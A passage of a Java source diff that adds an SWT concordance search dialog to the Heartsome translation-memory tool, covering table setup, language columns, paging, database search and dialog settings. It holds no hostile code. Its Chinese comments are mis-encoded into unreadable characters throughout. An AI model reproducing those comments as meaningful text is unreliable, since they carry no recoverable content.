PropListeningTableModel model = new PropListeningTableModel(); + + ListPropCol colTag = new ListPropCol("Flag", Messages.getString("dialog.ConcordanceSearchDialog.colTag"), + "Flag", -1); + model.addColumn(colTag); + jTable.getTableViewState().setColumnWidth(colTag, 55); + if (strSrcLang != null) { + PropCol ct1 = new PropCol("Source", strSrcLang, "Source"); + ct1.setEditable(false); + model.addColumn(ct1); + jTable.getTableViewState().setColumnWidth(ct1, 325); + } + + if (strTgtLang != null) { + PropCol col = new PropCol("Target", strTgtLang, "Target"); + model.addColumn(col); + jTable.getTableViewState().setColumnWidth(col, 325); + } + + for (int i = 0; i < lstLangs.size(); i++) { + String strLang = lstLangs.get(i); + ListPropCol col = new ListPropCol("Target", strLang, "LstTarget", i); + col.setEditable(true); + model.addColumn(col); + jTable.getTableViewState().setColumnWidth(col, 0); + + } + PropCol attrCol = new PropCol("Attribute", "Attribute", "Attribute"); + attrCol.setEditable(false); + model.addColumn(attrCol); + jTable.getTableViewState().setColumnWidth(attrCol, 325); + + tableModel = model; + jTable.setHeaderHeight(20); + jTable.setTableModel(tableModel); + jTable.setDrawHeader(true); + + // jTable.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.VARIABLE); + jTable.registerCellRenderer(tableModel.getColumn(2), new TextCellRenderer()); + colCount = jTable.getColumnCount(); + for (int colNum = colCount - 2; colNum >= 3; colNum--) { + IColumn column = jTable.getColumn(colNum); + jTable.registerCellRenderer(tableModel.getColumn(colNum), new TextCellRenderer()); + jTable.getTableViewState().setColumnVisible(column, false); + } + ImageCellRender imgRender = new ImageCellRender(); + // 表示需è¦åˆ é™¤æ ‡è®°(记录有标记时è¦æ˜¾ç¤ºçš„图片) + imgRender + .addImageDescriptorMapping(Boolean.FALSE, "1", Activator.getImageDescriptor(ImageConstants.TAG_DELETE)); + // 表示需è¦æ·»åŠ æ ‡è®°(记录有标记时è¦æ˜¾ç¤ºçš„图片) + imgRender.addImageDescriptorMapping(Boolean.TRUE, "2", Activator.getImageDescriptor(ImageConstants.TAG_ADD)); + jTable.registerCellRenderer(tableModel.getColumn(0), imgRender); + jTable.getSelectionModel().setOnlyRowSelectionAllowed(true); + jTable.getSelectionModel().setMultipleSelectionAllowed(false); + + Composite cmpPage = new Composite(groupTable, SWT.NONE); + GridLayoutFactory.fillDefaults().spacing(3, 0).extendedMargins(0, 5, 0, 0).numColumns(3).equalWidth(false) + .applyTo(cmpPage); + cmpPage.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + cmpPage.setBackground(cmpPage.getParent().getBackground()); + cmpPage.setBackgroundMode(SWT.INHERIT_FORCE); + new Label(cmpPage, SWT.None).setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + ToolBar toolBar = new ToolBar(cmpPage, SWT.NO_FOCUS | SWT.FLAT); + btnFirst = new ToolItem(toolBar, SWT.PUSH); + btnFirst.setImage(firstImage); + btnPre = new ToolItem(toolBar, SWT.NONE); + btnPre.setImage(preImage); + btnNext = new ToolItem(toolBar, SWT.NONE); + btnNext.setImage(nextImage); + btnLast = new ToolItem(toolBar, SWT.NONE); + btnLast.setImage(lastImage); + txtPage = new Text(cmpPage, SWT.BORDER); + GridDataFactory.fillDefaults().hint(80, SWT.DEFAULT).applyTo(txtPage); + + readDialogSettings(); + updateCombo(cmbSearch, lstSearchHistory); + updateCombo(cmbFilter, lstFilterHistory); + if (!strSearchText.equals("")) { + cmbSearch.setText(strSearchText); + } else if (lstSearchHistory != null && lstSearchHistory.size() > 0) { + cmbSearch.setText(lstSearchHistory.get(0)); + } + cmbSearch.setSelection(new Point(0, cmbSearch.getText().length())); + if (lstFilterHistory != null && lstFilterHistory.size() > 0) { + cmbFilter.setText(lstFilterHistory.get(0)); + cmbFilter.setSelection(new Point(0, cmbFilter.getText().length())); + } + initListener(); + + return parent; + } + + private void layoutExpandable() { + if (cmpExpandableFilter.isExpanded()) { + GridDataFactory.fillDefaults().hint(740, 410).applyTo(groupTable); + } else { + GridDataFactory.fillDefaults().hint(740, 450).applyTo(groupTable); + } + groupTable.pack(); + tparent.layout(); + } + + /** + * åˆå§‹åŒ–记忆库下拉框 ; + */ + private void initDatabaseCombo() { + List lstItem = new ArrayList(); + lstItem.add(Messages.getString("dialog.ConcordanceSearchDialog.lstItem")); + // int selIndex = 0; + for (int i = 0; i < lstDatabase.size(); i++) { + DatabaseModelBean model = lstDatabase.get(i); + // if (model.isDefault()) { + // selIndex = i; + // } + lstItem.add(model.getDbName()); + } + cmbDatabase.setItems((String[]) lstItem.toArray(new String[lstItem.size()])); + cmbDatabase.select(0); + } + + /** + * åˆå§‹åŒ–语言èœå• ; + */ + private void initLanguageMenu() { + Set set = new HashSet(); + for (DatabaseModelBean model : lstDatabase) { + MetaData metaData = model.toDbMetaData(); + DBOperator dbop = DatabaseService.getDBOperator(metaData); + if(null ==dbop){ + continue; + } + try { + dbop.start(); + set.addAll(dbop.getLanguages()); + } catch (SQLException e) { + LOGGER.error(Messages.getString("dialog.ConcordanceSearchDialog.logger1"), e); + } catch (ClassNotFoundException e) { + LOGGER.error(Messages.getString("dialog.ConcordanceSearchDialog.logger1"), e); + } finally { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + set.remove(strSrcLang); + set.remove(strTgtLang); + + lstLangs = new ArrayList(set); + Collections.sort(lstLangs); + // cmbLang.setItems((String[]) langs.toArray(new String[langs.size()])); + + menu = new Menu(getShell(), SWT.POP_UP); + if (strTgtLang != null) { + MenuItem itemTgt = new MenuItem(menu, SWT.CHECK); + itemTgt.setText(strTgtLang); + itemTgt.setSelection(true); + itemTgt.setEnabled(false); + } + for (final String lang : lstLangs) { + final MenuItem itemLang = new MenuItem(menu, SWT.CHECK); + itemLang.setText(lang); + itemLang.addListener(SWT.Selection, new Listener() { + + public void handleEvent(Event event) { + ArrayList lstShowColumn = new ArrayList(); + + // for (int colNum = 3; colNum < colCount; colNum++) { + // IColumn column = jTable.getColumn(colNum); + // jTable.getTableViewState().setColumnVisible(column, true); + // } + if (itemLang.getSelection()) { + // int totalWidth = 0; + boolean blnIsResetWidth = false; + // tableModel.getColumnCount() + for (int index = 1; index < tableModel.getColumnCount(); index++) { + IColumn column = tableModel.getColumn(index); + int width = jTable.getTableViewState().getColumnWidth(column); + if (column.getHeaderLabel().equals(lang) && width == 0) { + jTable.getTableViewState().setColumnVisible(column, true); + jTable.updateColumnList(); + jTable.redraw(); + // jTable.getTableViewState().setColumnWidth(column, width0); + lstShowColumn.add(column); + blnIsResetWidth = true; + } else if (width > 0) { + // totalWidth += width; + lstShowColumn.add(column); + // jTable.columnWidthChanged(column, width0); + } + } + if (blnIsResetWidth) { + int width = totalWidth / lstShowColumn.size() + 1; + for (int colNum = 1; colNum < jTable.getColumnCount(); colNum++) { + jTable.getTableViewState().setColumnWidth(jTable.getColumn(colNum), width); + } + // for (IColumn column : lstShowColumn) { + // // jTable.getTableViewState().setColumnVisible(column, true); + // jTable.getTableViewState().setColumnWidth(column, width); + // } + } + // initGroupIdAndSearch(); + } else { + // int totalWidth = 0; + IColumn deleteColumn = null; + for (int index = 1; index < jTable.getColumnCount(); index++) { + IColumn column = jTable.getColumn(index); + int width = jTable.getTableViewState().getColumnWidth(column); + if (width > 0) { + // totalWidth += width; + lstShowColumn.add(column); + } + if (column.getHeaderLabel().equals(lang)) { + deleteColumn = column; + // 将删除列中的数æ®æ¸…空,以ä¿è¯è¡Œé«˜æ­£å¸¸è°ƒæ•´ + // for (GridItem item : tableModel.getRowCount()) { + // item.setText(index, ""); + // } + } + } + + // int width = (jTable.getTableViewState().getColumnWidth(deleteColumn) * lstShowColumn.size() - + // 100) + // / (lstShowColumn.size() - 1); + int width = totalWidth / (lstShowColumn.size() - 1) + 1; + jTable.getTableViewState().setColumnWidth(deleteColumn, 0); + jTable.getTableViewState().setColumnVisible(deleteColumn, false); + lstShowColumn.remove(deleteColumn); + for (IColumn column : lstShowColumn) { + jTable.getTableViewState().setColumnWidth(column, width); + } + // initGroupIdAndSearch(); + } + } + }); + } + btnSelectLang.addListener(SWT.Selection, new Listener() { + + public void handleEvent(Event event) { + Rectangle rect = btnSelectLang.getBounds(); + Point pt = btnSelectLang.toDisplay(new Point(event.x, event.y + rect.height)); + // Point pt = btnSelectLang.toDisplay(new Point(event.x + rect.width, event.y + rect.height)); + // menu.setOrientation(SWT.RIGHT_TO_LEFT); + menu.setLocation(pt.x, pt.y); + menu.setVisible(true); + } + + }); + + } + + /** + * 当 str 为 null 或 空串时,返回 * ,å¦åˆ™è¿”回 str + * @param str + * @return ; + */ + private String checkString(String str) { + return str == null || str.equals("") ? "N/A" : str.replaceAll("'", "''").replaceAll("&", "&&"); + } + + /** + * åˆå§‹åŒ–å„æŽ§ä»¶çš„ç›‘å¬ ; + */ + private void initListener() { + btnSearch.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + initGroupIdAndSearch(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + }); + + cmbSearch.addKeyListener(new KeyListener() { + + public void keyPressed(KeyEvent e) { + if (e.character == SWT.CR) { + initGroupIdAndSearch(); + } + } + + public void keyReleased(KeyEvent e) { + + } + + }); + + btnFirst.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + if (curPageNum > 0 && amountPage > 0) { + curPageNum = 1; + if (search()) { + refreshPageNumText(); + } + } + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + btnPre.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + public void widgetSelected(SelectionEvent e) { + if (curPageNum > 0) { + curPageNum--; + if (search()) { + refreshPageNumText(); + } + } + } + }); + + btnNext.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + public void widgetSelected(SelectionEvent e) { + if (curPageNum < amountPage) { + curPageNum++; + if (search()) { + refreshPageNumText(); + } + } + } + }); + + btnLast.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + + } + + public void widgetSelected(SelectionEvent e) { + if (curPageNum > 0 && amountPage > 0) { + curPageNum = amountPage; + if (search()) { + refreshPageNumText(); + } + } + } + }); + + txtPage.addKeyListener(new KeyListener() { + + public void keyReleased(KeyEvent e) { + + } + + public void keyPressed(KeyEvent e) { + if (e.character == SWT.CR) { + String pageNum = txtPage.getText(); + try { + curPageNum = Integer.parseInt(pageNum); + } catch (NumberFormatException e1) { + // LOGGER.error("NumberFormatException", e1); + txtPage.setText(String.valueOf(curPageNum) + splitPageSeparator + amountPage); + return; + } + if (curPageNum > amountPage) { + curPageNum = amountPage; + } + if (curPageNum < 1) { + curPageNum = 1; + } + search(); + txtPage.setText(String.valueOf(curPageNum)); + } + } + }); + + txtPage.addFocusListener(new FocusAdapter() { + @Override + public void focusLost(FocusEvent e) { + refreshPageNumText(); + } + + @Override + public void focusGained(FocusEvent e) { + txtPage.setText(""); + } + }); + } + + private void clearTable() { + int rowCount = tableModel.getRowCount(); + for (int i = 0; i < rowCount; i++) { + tableModel.remRow(tableModel.getRow(0)); + } + } + + public void initGroupIdAndSearch() { + updateHistory(cmbSearch, lstSearchHistory); + updateHistory(cmbFilter, lstFilterHistory); + String searchText = cmbSearch.getText(); + if (searchText == null || searchText.trim().equals("")) { + txtPage.setText(""); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ConcordanceSearchDialog.msgTitle"), + Messages.getString("dialog.ConcordanceSearchDialog.msg2")); + return; + } + + StringBuffer searchTextBf = new StringBuffer(searchText); + TreeMap tags = InnerTagUtil.parseXmlToDisplayValue(searchTextBf, + TagStyle.getDefault(false)); + searchText = InnerTagUtil.resolveTag(searchTextBf.toString()); + searchText = InnerTagUtil.escapeTag(searchText); + searchText = InnerTagUtil.parseDisplayToXmlValue(tags, searchText); + + clearTable(); + mapGroupId.clear(); + curPageNum = 1; + String[] arrFilter = null; + String strFilter = cmbFilter.getText(); + if (cmpExpandableFilter.isExpanded() && strFilter != null && !strFilter.equals("")) { + String srcOrTgt = (String) cmbSrcOrTgt.getData(cmbSrcOrTgt.getText()); + String contain = (String) cmbContain.getData(cmbContain.getText()); + arrFilter = new String[] { srcOrTgt, contain, strFilter }; + } + ArrayList lstSelLangs = new ArrayList(); + for (MenuItem item : menu.getItems()) { + if (item.getSelection()) { + lstSelLangs.add(item.getText()); + } + } + List lstMetaData = new ArrayList(); + if (cmbDatabase.getSelectionIndex() == 0) { + for (DatabaseModelBean model : lstDatabase) { + lstMetaData.add(model.toDbMetaData()); + } + } else { + DatabaseModelBean model = lstDatabase.get(cmbDatabase.getSelectionIndex() - 1); + MetaData metaData = model.toDbMetaData(); + lstMetaData.add(metaData); + } + size = 0; + for (MetaData metaData : lstMetaData) { + DBOperator dbOp = DatabaseService.getDBOperator(metaData); + if(null == dbOp){ + continue; + } + + try { + dbOp.start(); + ArrayList lstGroupId = dbOp.getConcordanceGroupId(searchText, + btnIsCaseSensitive.getSelection(), btnApplyRegularExpression.getSelection(), + btnIsIgnoreMark.getSelection(), strSrcLang, arrFilter, lstSelLangs); + if (lstGroupId.size() != 0) { + mapGroupId.put(metaData, lstGroupId); + } + size += lstGroupId.size(); + } catch (SQLException e1) { + LOGGER.error(Messages.getString("dialog.ConcordanceSearchDialog.logger2"), e1); + } catch (ClassNotFoundException e1) { + LOGGER.error(Messages.getString("dialog.ConcordanceSearchDialog.logger3"), e1); + } finally { + try { + if (dbOp != null) { + dbOp.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + if (size == 0) { + clearTable(); + txtPage.setText(""); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ConcordanceSearchDialog.msgTitle"), + Messages.getString("dialog.ConcordanceSearchDialog.msg1")); + return; + } + amountPage = size / rowNumPerPage; + if (size % rowNumPerPage != 0) { + amountPage += 1; + } + if (search()) { + refreshPageNumText(); + } + } + + /** + * æœç´¢è®°å¿†åº“ ; + */ + private boolean search() { + String searchText = cmbSearch.getText(); + if (searchText == null || searchText.trim().equals("")) { + txtPage.setText(""); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ConcordanceSearchDialog.msgTitle"), + Messages.getString("dialog.ConcordanceSearchDialog.msg2")); + return false; + } + + StringBuffer searchTextBf = new StringBuffer(searchText); + TreeMap tags = InnerTagUtil.parseXmlToDisplayValue(searchTextBf, + TagStyle.getDefault(false)); + searchText = InnerTagUtil.resolveTag(searchTextBf.toString()); + searchText = InnerTagUtil.escapeTag(searchText); + searchText = InnerTagUtil.parseDisplayToXmlValue(tags, searchText); + + // 此处的判断已加在 ConcordanceSearchHandler 中 + // if (lstDatabase.size() == 0) { + // txtPage.setText(""); + // MessageDialog.openInformation(getShell(), "æ示", "请为项目指定翻译记忆库"); + // return false; + // } + + ArrayList lstSelLangs = new ArrayList(); + lstSelLangs.add(strSrcLang); + for (MenuItem item : menu.getItems()) { + if (item.getSelection()) { + lstSelLangs.add(item.getText()); + } + } + LinkedHashMap> mapSub = getCurPageMap(); + LinkedHashMap> mapResult = new LinkedHashMap>(); + Iterator>> iterator = mapSub.entrySet().iterator(); + while (iterator.hasNext()) { + Entry> entry = (Entry>) iterator.next(); + MetaData metaData = entry.getKey(); + + DBOperator dbop = DatabaseService.getDBOperator(metaData); + try { + dbop.start(); + List lstConcordance = dbop.getConcordanceSearchResult(cmbSearch.getText(), + btnIsCaseSensitive.getSelection(), btnApplyRegularExpression.getSelection(), + btnIsIgnoreMark.getSelection(), strSrcLang, lstSelLangs, entry.getValue()); + if (lstConcordance != null && lstConcordance.size() > 0) { + mapResult.put(metaData, lstConcordance); + } + } catch (SQLException e1) { + LOGGER.error(Messages.getString("dialog.ConcordanceSearchDialog.logger2"), e1); + } catch (ClassNotFoundException e1) { + LOGGER.error(Messages.getString("dialog.ConcordanceSearchDialog.logger3"), e1); + } finally { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + LOGGER.error("", e); + } + } + } + if (mapResult.size() == 0) { + clearTable(); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ConcordanceSearchDialog.msgTitle"), + Messages.getString("dialog.ConcordanceSearchDialog.msg1")); + txtPage.setText(""); + return false; + } + // 当有多个数æ®åº“çš„æ•°æ®æ—¶è¦å¯¹æ‰€æœ‰æ•°æ®æŒ‰ changedate é‡æ–°æŽ’åºï¼Œç„¶åŽå–å‰ spiResultCount.getSelection() æ•°é‡çš„记录 + int rowNum = 0; + HashMap> mapStyle = new HashMap>(); + if (mapResult.size() > 1) { + LinkedHashMap map = sortMap(mapResult); + Iterator> it = map.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = it.next(); + Object[] arrObj = entry.getValue(); + createItem((MetaData) arrObj[0], (ConcordanceBean) arrObj[1], rowNum++, mapStyle); + } + } else { + Iterator>> it = mapResult.entrySet().iterator(); + while (it.hasNext()) { + Entry> entry = it.next(); + MetaData metaData2 = entry.getKey(); + List lstBean = entry.getValue(); + for (ConcordanceBean bean : lstBean) { + createItem(metaData2, bean, rowNum++, mapStyle); + } + if (lstBean.size() < rowNumPerPage) { + for (int row = lstBean.size(); row < rowNumPerPage; row++) { + if (rowNum < tableModel.getRowCount() && tableModel.getRow(rowNum) != null) { + tableModel.remRow(tableModel.getRow(rowNum)); + } + } + } + } + } + jTable.registerCellRenderer( + tableModel.getColumn(1), + new StyleTextCellRenderer(searchText, btnIsCaseSensitive.getSelection(), btnApplyRegularExpression + .getSelection(), createResultsStyle())); + jTable.registerCellRenderer(tableModel.getColumn(tableModel.getColumnCount() - 1), + new AttributeTextCellRenderer(mapStyle, style)); + jTable.setTableModel(tableModel); + return true; + } + + private LinkedHashMap> getCurPageMap() { + int startIndex = (curPageNum - 1) * rowNumPerPage; + int endIndex = curPageNum * rowNumPerPage; + if (curPageNum == amountPage) { + endIndex = size; + } + Iterator>> it = mapGroupId.entrySet().iterator(); + int index = 0; + LinkedHashMap> mapSub = new LinkedHashMap>(); + while (it.hasNext()) { + Entry> entry = (Entry>) it.next(); + ArrayList lstGroupId = entry.getValue(); + if (index <= startIndex && index + lstGroupId.size() >= startIndex) { + List subList = null; + if (index + lstGroupId.size() - 1 >= endIndex) { + subList = lstGroupId.subList(startIndex - index, endIndex - index); + mapSub.put(entry.getKey(), subList); + break; + } else { + subList = lstGroupId.subList(startIndex - index, lstGroupId.size()); + index += lstGroupId.size(); + startIndex += lstGroupId.size(); + mapSub.put(entry.getKey(), subList); + } + } else { + index += lstGroupId.size(); + } + } + return mapSub; + } + + private void refreshPageNumText() { + if (curPageNum > 0 && amountPage > 0) { + txtPage.setText(String.valueOf(curPageNum) + splitPageSeparator + amountPage); + } + } + + /** + * å‘表格中添加记录 + * @param metaData + * @param map + * ; + */ + private void createItem(MetaData metaData, ConcordanceBean bean, int rowNum, + HashMap> mapStyle) { + HashMap map = new HashMap(); + + map.put("id", String.valueOf(bean.getId())); + map.put("changeDate", bean.getChangeDate()); + map.put("changeId", bean.getChangeId()); + map.put("creationDate", bean.getCreationDate()); + map.put("creationId", bean.getCreationId()); + map.put("flag", bean.isBlnIsFlag() ? "1" : "0"); + for (LanguageTMX lang : bean.getLanguageList()) { + map.put(lang.getLanguageCode(), lang.getText()); + } + map.put("dbName", metaData.getDatabaseName()); + map.put("dbType", metaData.getDbType()); + map.put("severName", metaData.getServerName()); + List lstAttr = bean.getAttributeList(); + StringBuffer sbAttr = new StringBuffer(); + ArrayList lstAttrIndex = new ArrayList(); + for (TmxProp attr : lstAttr) { + if (attr.getName() != null && !attr.getName().trim().equals("") && !attr.getName().equals("x-flag")) { + String attrName = TextUtil.xmlToString(attr.getName()); + int index = attrName.indexOf("::"); + if(index != -1){ + attrName = attrName.substring(index+2, attrName.length()); + } + sbAttr.append(" ").append(attrName).append(Messages.getString("dialog.ConcordanceSearchDialog.colon")); + int startIndex = sbAttr.length(); + sbAttr.append(TextUtil.xmlToString(attr.getValue())); + int endIndex = sbAttr.length(); + lstAttrIndex.add(new int[] { startIndex, endIndex }); + } + } + String creationDate = checkString(bean.getCreationDate()); + String creationId = checkString(bean.getCreationId()); + String changeDate = checkString(bean.getChangeDate()); + String changeId = checkString(bean.getChangeId()); + String attribute = MessageFormat.format(strMsg, creationDate, creationId, changeDate, changeId, + sbAttr.toString()); + ArrayList lstFieldIndex = new ArrayList(); + int creationStart = attribute.indexOf(creationDate); + lstFieldIndex.add(new int[] { creationStart, creationStart + creationDate.length() }); + int creationIdStart = attribute.indexOf(creationId, creationStart); + lstFieldIndex.add(new int[] { creationIdStart, creationIdStart + creationId.length() }); + int changeDateStart = attribute.indexOf(changeDate, creationIdStart); + lstFieldIndex.add(new int[] { changeDateStart, changeDateStart + changeDate.length() }); + int changeIdStart = attribute.indexOf(changeId, changeDateStart); + lstFieldIndex.add(new int[] { changeIdStart, changeIdStart + changeId.length() }); + if (lstAttrIndex.size() > 0) { + int index = attribute.indexOf(sbAttr.toString()); + for (int[] attrIndex : lstAttrIndex) { + lstFieldIndex.add(new int[] { attrIndex[0] + index, attrIndex[1] + index }); + } + } + + String source = map.get(strSrcLang) == null ? "" : map.get(strSrcLang); + + StringBuffer sourceBf = new StringBuffer(source); + TreeMap sourceTags = InnerTagUtil.parseXmlToDisplayValue(sourceBf, + TagStyle.getDefault(false)); + source = InnerTagUtil.resolveTag(sourceBf.toString()); + source = InnerTagUtil.parseDisplayToXmlValue(sourceTags, source); + + String target = map.get(strTgtLang) == null ? "" : map.get(strTgtLang); + + StringBuffer tgtBf = new StringBuffer(target); + TreeMap tgtTags = InnerTagUtil.parseXmlToDisplayValue(tgtBf, TagStyle.getDefault(false)); + target = InnerTagUtil.resolveTag(tgtBf.toString()); + target = InnerTagUtil.parseDisplayToXmlValue(tgtTags, target); + + ArrayList lstTarget = new ArrayList(); + for (String lang : lstLangs) { + String _tgt = map.get(lang); + _tgt = _tgt == null ? "" : _tgt; + + StringBuffer _tgtBf = new StringBuffer(_tgt); + TreeMap _tgtTags = InnerTagUtil.parseXmlToDisplayValue(_tgtBf, + TagStyle.getDefault(false)); + _tgt = InnerTagUtil.resolveTag(_tgtBf.toString()); + _tgt = InnerTagUtil.parseDisplayToXmlValue(_tgtTags, _tgt); + + lstTarget.add(_tgt); + } + try { + if (tableModel.getRow(rowNum) == null) { + XPropRow row = new XPropRow(bean.isBlnIsFlag(), source, lstTarget, target, attribute); + row.setDataMap(map); + if (metaData != null) { + row.setData("metaData", metaData); + } + tableModel.addRow(row); + mapStyle.put(row, lstFieldIndex); + } else { + tableModel.setValue(tableModel.getRow(rowNum), tableModel.getColumn(0), bean.isBlnIsFlag()); + tableModel.setValue(tableModel.getRow(rowNum), tableModel.getColumn(1), source); + tableModel.setValue(tableModel.getRow(rowNum), tableModel.getColumn(2), target); + int i = 0; + for (; i < lstTarget.size(); i++) { + tableModel.setValue(tableModel.getRow(rowNum), tableModel.getColumn(3 + i), lstTarget.get(i)); + } + tableModel.setValue(tableModel.getRow(rowNum), tableModel.getColumn(3 + i), attribute); + XPropRow row = (XPropRow) tableModel.getRow(rowNum); + row.setDataMap(map); + if (metaData != null) { + row.setData("metaData", metaData); + } + mapStyle.put(row, lstFieldIndex); + } + } catch (Exception e) { + XPropRow row = new XPropRow(bean.isBlnIsFlag(), source, lstTarget, target, attribute); + row.setDataMap(map); + if (metaData != null) { + row.setData("metaData", metaData); + } + tableModel.addRow(row); + mapStyle.put(row, lstFieldIndex); + } + } + + /** + * 对æœç´¢ç»“æžœæŒ‰ä¿®æ”¹æ—¥æœŸè¿›è¡ŒæŽ’åº + * @param mapItem + * @return ; + */ + private LinkedHashMap sortMap(LinkedHashMap> mapItem) { + Iterator>> it = mapItem.entrySet().iterator(); + LinkedHashMap map = new LinkedHashMap(); + while (it.hasNext()) { + Entry> entry = it.next(); + MetaData metaData = entry.getKey(); + List lstBean = entry.getValue(); + for (ConcordanceBean bean : lstBean) { + String key = metaData.getDatabaseName() + "_" + bean.getId() + "_" + bean.getChangeDate(); + Object[] arrObj = new Object[] { metaData, bean }; + map.put(key, arrObj); + } + } + // 按最新需求,先ä¸æŽ’åº + // ArrayList> entryList = new ArrayList>(map.entrySet()); + // Collections.sort(entryList, new Comparator>() { + // + // public int compare(Map.Entry arg0, Map.Entry arg1) { + // String key0 = arg0.getKey(); + // String key1 = arg1.getKey(); + // + // String strDate0 = key0.substring(key0.lastIndexOf("_") + 1); + // String strDate1 = key1.substring(key1.lastIndexOf("_") + 1); + // if (!strDate0.equals("") && !strDate1.equals("")) { + // return strDate1.compareTo(strDate0); + // } else if (!strDate0.equals("")) { + // return -1; + // } else if (!strDate1.equals("")) { + // return 1; + // } else { + // return 0; + // } + // } + // }); + // map.clear(); + // int count = 0; + // for (Entry entry : entryList) { + // String key = entry.getKey(); + // Object[] obj = entry.getValue(); + // map.put(key, obj); + // count++; + // if (rowNumPerPage <= count) { + // break; + // } + // } + return map; + } + + protected void createButtonsForButtonBar(Composite parent) { + // getShell().setDefaultButton(btnSearch); + Composite content = parent.getParent(); + // parent.dispose(); + content.layout(); + } + + @Override + public boolean close() { + if (firstImage != null && !firstImage.isDisposed()) { + firstImage.dispose(); + } + if (preImage != null && !preImage.isDisposed()) { + preImage.dispose(); + } + if (nextImage != null && !nextImage.isDisposed()) { + nextImage.dispose(); + } + if (lastImage != null && !lastImage.isDisposed()) { + lastImage.dispose(); + } + + if (font != null && !font.isDisposed()) { + font.dispose(); + } + writeDialogSettings(); + disposeResultsStyle(); + return super.close(); + }; + private TextStyle createResultsStyle() { + background = new Color(Display.getCurrent(), 0x19, 0x19, 0x70); + foreground = new Color(Display.getCurrent(), 0xff, 0xff, 0xff); + FontData fontData = JFaceResources.getDefaultFont().getFontData()[0]; + fontData.setStyle(fontData.getStyle()); + rsFont = new Font(Display.getDefault(), fontData); + TextStyle style = new TextStyle(rsFont, foreground, background); + return style; + } + + /** + * 销æ¯æŸ¥è¯¢ç»“果样å¼èµ„æº ; + */ + private void disposeResultsStyle() { + if (background != null && !background.isDisposed()) { + background.dispose(); + } + if (foreground != null && !foreground.isDisposed()) { + foreground.dispose(); + } + if (rsFont != null && !rsFont.isDisposed()) { + rsFont.dispose(); + } + } + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + private void readDialogSettings() { + IDialogSettings ids = getDialogSettings(); + String[] arrSearchHistory = ids + .getArray("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.searchHistory"); + if (arrSearchHistory != null) { + lstSearchHistory.clear(); + for (int i = 0; i < arrSearchHistory.length; i++) { + lstSearchHistory.add(arrSearchHistory[i]); + } + } + + btnIsCaseSensitive.setSelection(ids + .getBoolean("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.caseSensitive")); + btnIsIgnoreMark.setSelection(!ids + .getBoolean("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.ignoreMark")); + btnApplyRegularExpression.setSelection(ids + .getBoolean("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.regEx")); + + String selTB = ids.get("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.selTB"); + int selIndex = 0; + if (selTB != null) { + for (int i = 0; i < cmbDatabase.getItemCount(); i++) { + if (selTB.equals(cmbDatabase.getItem(i))) { + selIndex = i; + break; + } + } + } + cmbDatabase.select(selIndex); + + String[] arrTarget = ids.getArray("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.selTgt"); + List lstSelItem = new ArrayList(); + if (arrTarget != null) { + for (int i = 0; i < menu.getItemCount(); i++) { + MenuItem item = menu.getItem(i); + for (String target : arrTarget) { + if (item.getText().equals(target)) { + item.setSelection(true); + break; + } + } + if (item.getSelection()) { + lstSelItem.add(item.getText()); + } + } + } + + List lstShowColumn = new ArrayList(); + boolean blnIsResetWidth = false; + for (int index = 1; index < tableModel.getColumnCount(); index++) { + IColumn column = tableModel.getColumn(index); + int width = jTable.getTableViewState().getColumnWidth(column); + if (lstSelItem.indexOf(column.getHeaderLabel()) != -1 && width == 0) { + jTable.getTableViewState().setColumnVisible(column, true); + jTable.updateColumnList(); + jTable.redraw(); + lstShowColumn.add(column); + blnIsResetWidth = true; + } else if (width > 0) { + lstShowColumn.add(column); + } + } + if (blnIsResetWidth) { + int width = totalWidth / lstShowColumn.size() + 1; + for (int colNum = 1; colNum < jTable.getColumnCount(); colNum++) { + jTable.getTableViewState().setColumnWidth(jTable.getColumn(colNum), width); + } + } + + cmpExpandableFilter.setExpanded(ids + .getBoolean("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.isExpandFilter")); + try { + cmbSrcOrTgt.select(ids + .getInt("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.selSrcOrTgt")); + } catch (NumberFormatException e) { + cmbSrcOrTgt.select(1); + } + try { + cmbContain.select(ids.getInt("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.contain")); + } catch (NumberFormatException e) { + cmbContain.select(1); + } + + String[] arrFilterHistory = ids + .getArray("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.filterHistory"); + if (arrFilterHistory != null) { + lstFilterHistory.clear(); + for (int i = 0; i < arrFilterHistory.length; i++) { + lstFilterHistory.add(arrFilterHistory[i]); + } + } + + layoutExpandable(); + } + + private void writeDialogSettings() { + IDialogSettings ids = getDialogSettings(); + if (okToUse(cmbSearch)) { + String searchString = cmbSearch.getText(); + if (searchString.length() > 0) { + lstSearchHistory.add(0, searchString); + } + 